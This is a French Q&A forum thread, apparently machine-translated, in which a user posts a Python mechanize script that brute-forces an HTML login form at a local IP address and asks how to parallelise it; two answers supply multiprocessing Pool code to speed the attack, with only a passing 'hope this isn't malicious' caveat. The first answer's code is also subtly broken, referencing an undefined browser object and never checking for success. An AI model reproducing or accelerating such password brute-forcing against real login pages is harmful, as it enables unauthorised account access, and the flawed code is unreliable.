2016-09-21 1 views
-1

J'ai un script qui utilise python mechanize et bruteforce html form. Il s'agit d'une boucle for qui vérifie chaque mot de passe de "PassList" et s'exécute jusqu'à ce qu'il corresponde au mot de passe actuel en vérifiant l'URL redirigée. Comment puis-je mettre en œuvre multitraitement iciComment utiliser le multitraitement dans une boucle for - python

for x in PasswordList:   
    br.form['password'] = ''.join(x) 
    print "Bruteforce in progress.. checking : ",br.form['password'] 
    response=br.submit() 

    if response.geturl()=="http://192.168.1.106/success.html": 
     #url to which the page is redirected after login 
     print "\n Correct password is ",''.join(x) 
     break 

Répondre

1

J'espère que ce n'est pas à des fins malveillantes.

Je n'ai jamais utilisé python mechanize, mais vu que vous n'avez pas de réponse, je peux partager ce que je sais, et vous pouvez le modifier en conséquence.

En général, il doit être sa propre fonction, que vous appelez ensuite pool over. Je ne connais pas votre objet br, mais je recommanderais probablement d'avoir beaucoup de ces objets pour éviter tout conflit. (Peut essayer avec le même br objet tho, modifier le code en conséquence)

list_of_br_and_passwords = [[br_obj,'password1'],[br_obj,'password2'] ...] 

from multiprocessing import Pool 
from multiprocessing import cpu_count 

def crackPassword(lst): 
    br_obj = lst[0] 
    password = lst[1] 
    br.form['password'] = ''.join(password) 
    print "Bruteforce in progress.. checking : ",br.form['password'] 
    response=br.submit() 

pool = Pool(cpu_count() * 2) 
crack_password = pool.map(crackPassword,list_of_br_and_passwords) 
pool.close() 

Encore une fois, ce n'est pas une réponse complète, juste une ligne directrice générale sur la façon de faire multitraitement

+0

Je suppose que ce n'est pas à des fins malveillantes, je veux dire, ce n'est pas assez sophistiqué pour être vraiment efficace, si la cible a captcha cela ne fonctionnera pas. – PyNico

+0

je vous remercie pour votre réponse. Cela juste pour but de test rien de malveillant, ici br = mechanize.Browser() – Susmith

1
from multiprocessing import Pool 

def process_bruteforce(PasswordList): 
    <process> 

if __name__ == '__main__': 
    pool = Pool(processes=4)    # process per core 
    is_connected = pool.map(process_bruteforce, PasswordList) 

Je voudrais essayer quelque chose comme ça

+0

Je vous remercie, permettez-moi de le vérifier out – Susmith